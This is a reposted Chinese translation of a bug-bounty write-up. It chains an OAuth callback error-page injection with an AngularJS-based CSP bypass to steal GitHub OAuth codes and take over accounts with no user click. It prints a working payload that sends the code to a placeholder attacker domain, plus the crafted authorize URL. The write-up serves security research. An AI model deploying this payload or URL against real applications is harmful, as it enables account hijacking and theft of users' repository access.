绕过CSP实现零点击账户接管

admin 2024年10月14日15:34:00评论15 views字数 3521阅读11分44秒阅读模式

扫码领资料

获网安教程

绕过CSP实现零点击账户接管

绕过CSP实现零点击账户接管

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

介绍

在最近的一个项目中,我遇到了一些看似不太严重的漏洞。然而,令人惊讶的是,当这些问题结合在一起时,它们构成了一个重大安全风险——一个零点击账户接管漏洞。问题的核心是一个看似普通的OAuth回调URL,但仔细检查后,暴露了多个问题。

在本文中,我们将详细分析OAuth回调URL,逐步解决每个问题,并解释事件链如何使我们能够利用这些漏洞。我们的目的是通过此实际案例,强调类似问题对Web应用程序和用户数据安全可能带来的潜在威胁。

绕过CSP实现零点击账户接管

img

什么是OAuth?

OAuth是一种广泛使用的协议,它允许应用程序通过流行的提供商(如Google或GitHub)的账户来简化用户登录流程。OAuth过程包含几个关键步骤:

1.用户请求访问:一切始于资源拥有者(RO)试图访问特定资源的请求。
2.应用发起重定向:应用程序(客户端,RP)通过将用户代理(UA,通常是网页浏览器)重定向到授权服务器(AS)来启动流程。该服务器可能是AzureAD、Okta、Cognito、Google等可信服务器,负责授予访问权限。
3.用户授予批准:RO与授权服务器交互,并批准请求的访问权限。
4.服务器发放令牌:在获得RO的同意后,AS生成并将访问令牌发送给客户端。
5.令牌使数据访问成为可能:客户端持有访问令牌后,可以安全地访问资源服务器(RS)上的用户数据或受保护资源。
绕过CSP实现零点击账户接管

img

OAuth回调URL上的XSS

发现注入点

在我们的例行安全评估中,我们会检查应用程序认证过程中的每个步骤,以寻找可能的配置错误或漏洞。这次我们注意到了最后一步:OAuth回调URL。该URL作为OAuth提供商在认证后将用户重定向的终端点。
通常,回调URL看起来像这样:
https://example.com/callback?code=AUTHORIZATION_CODE
然而,我们发现了一个关键细节:同一个回调URL也用于显示错误信息。 例如,当GitHub无法授权用户时,它会将用户重定向到带有错误消息的回调URL:
https://example.com/github/ofg/callback?error=redirect_uri_mismatch&error_description=Wrong+URI
们注意到,error_description 参数中可以注入任意文本,而这些文本会在页面上显示出来:
绕过CSP实现零点击账户接管

img

绕过CSP

通常,当你有机会在页面上注入任何文本时,第一件事情就是尝试进行跨站脚本攻击。然而这一次,应用程序的内容安全策略(CSP)非常严格,不允许我们执行内联脚本:
绕过CSP实现零点击账户接管

img
为了绕过CSP,我们利用了应用程序使用AngularJS的事实,并且该库是从同一域加载的。这使我们能够在不违反CSP的情况下加载AngularJS库。接着,我们可以利用Angular的模板功能来注入恶意代码。
我们的有效载荷创建过程涉及导入AngularJS库,并使用Angular指令来启动有效载荷,利用了$event.view对象,这个对象暴露了窗口对象。这个方法有效地绕过了CSP,使我们能够执行我们的有效载荷。
最终的有效载荷如下:
绕过CSP实现零点击账户接管

img
然后,我们只需对上述有效载荷进行URL编码,并将其注入到error_description参数中。当打开该URL时,代码将被执行,尽管有CSP的限制:
绕过CSP实现零点击账户接管

img

武器化 XSS 以窃取 OAuth 代码

GitHub OAuth 使用特定的授权 URL 来提供响应代码并将用户重定向到回调 URL。
由于此回调 URL 需要进行验证,因此无法将用户重定向到恶意域以窃取作为参数返回的响应代码。
然而,正如之前发现的,该应用程序使用同一个 URL 来处理 OAuth 回调和显示 OAuth 错误。鉴于错误页面易受跨站脚本 (XSS) 攻击,因此通过恶意代码注入窃取 OAuth 响应代码成为可能。
OAuth 授权流程遵循以下模式:
1. 用户访问 GitHub 授权 URL。
2. 如果之前已授权,用户将被重定向到回调 URL,并附带代码。
3. 回调验证代码并发出会话 cookies。
GitHub 授权和重定向请求如下所示:
绕过CSP实现零点击账户接管

img
从上述响应中的代码用于发放应用程序 cookies:
绕过CSP实现零点击账户接管

img
虽然 redirect_uri 参数会经过验证,仅允许白名单中的回调 URL,但 回调 URL 中的参数 并未受到检查
因此,可以通过在白名单回调 URL 后附加额外参数(如 ?error=q%26error_description=blahblah)来利用此漏洞。这种操作会导致应用程序显示错误页面,同时 保留有效的 OAuth 响应代码
绕过CSP实现零点击账户接管

img
如前所述,错误页面存在 XSS 漏洞,可以利用该漏洞窃取 OAuth 代码。XSS 有效载荷的结构如下,旨在将用户重定向到攻击者控制的域,并使用 OAuth 响应代码作为路径:
<!DOCTYPE html><html><head><meta charset=”utf-8" /><title>Zero Click Account takeover</title><meta name=”description” content=”” /><meta name=”viewport” content=”width=device-width” /><base href=”/” /><script src=”lib/socket.io.min.js”></script></head><body><script src=”scripts/vendor-31****a1.js”></script><div ng-app=”” ng-init=””><input ng-on-focus=”$event.view.location = ‘https://ATTACKER-URL.COM/' %2b $event.view.location.search.slice(1).split(‘%26’)[2].split(‘=’)[1]” autofocus /></div></body></html>
有效载荷必须进行 URL 编码,其中“+” 和 “&” 字符由于多次重定向而需要编码两次。
绕过CSP实现零点击账户接管

img
然后,我们将这个编码的有效载荷插入到重定向 URL(回调 URL)的 error_description 参数中。
https://github.com/login/oauth/authorize?response_type=code&redirect_uri=https://example.com/auth/github/ofg/callback?error=q%26error_description=XSS_PAYLOAD_HERE&scope=repo%2Cread%3Aorg%2Cdelete_repo%2Cworkflow%2Cuser%3Aemail&client_id=*************
当之前授权的用户访问这个恶意 URL 时,发生了以下顺序:
1. GitHub 收到授权请求。
2. GitHub 验证回调 URL 的有效性。
3. 由于用户之前已经授权,GitHub 颁发响应代码,将其附加到回调 URL,并重定向用户。
4. 到达回调页面后,XSS 被执行,从参数中提取 OAuth 代码,并将其传输到攻击者的服务器。
GitHub 授权请求。在重定向到错误页面的同时,URL 中仍保留有效代码。
绕过CSP实现零点击账户接管

img
用户的浏览器执行了 XSS,将参数中的代码发送到远程服务器:
绕过CSP实现零点击账户接管

img
攻击者获取了 OAuth 代码:
绕过CSP实现零点击账户接管

img
这个 OAuth 代码可以被用来获得对应用程序的未授权访问:
https://example.com/auth/github/ofg/callback?code=CODE_HERE

结论

在漏洞挖掘过程中,我们揭示了看似无关紧要的问题如何串联在一起,导致严重的账户接管场景。通过深入了解 OAuth 的复杂性、设计绕过内容安全策略 (CSP) 限制的策略,以及利用跨站脚本攻击 (XSS),我们展示了可能导致全面安全漏洞的多米诺效应。
以上内容由白帽子左一翻译并整理。原:https://infosecwriteups.com/xss-on-the-oauth-callback-url-with-csp-bypass-leading-to-zero-click-account-takeover-c6c870b234bd

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):绕过CSP实现零点击账户接管

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月14日15:34:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过CSP实现零点击账户接管https://cn-sec.com/archives/3266047.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息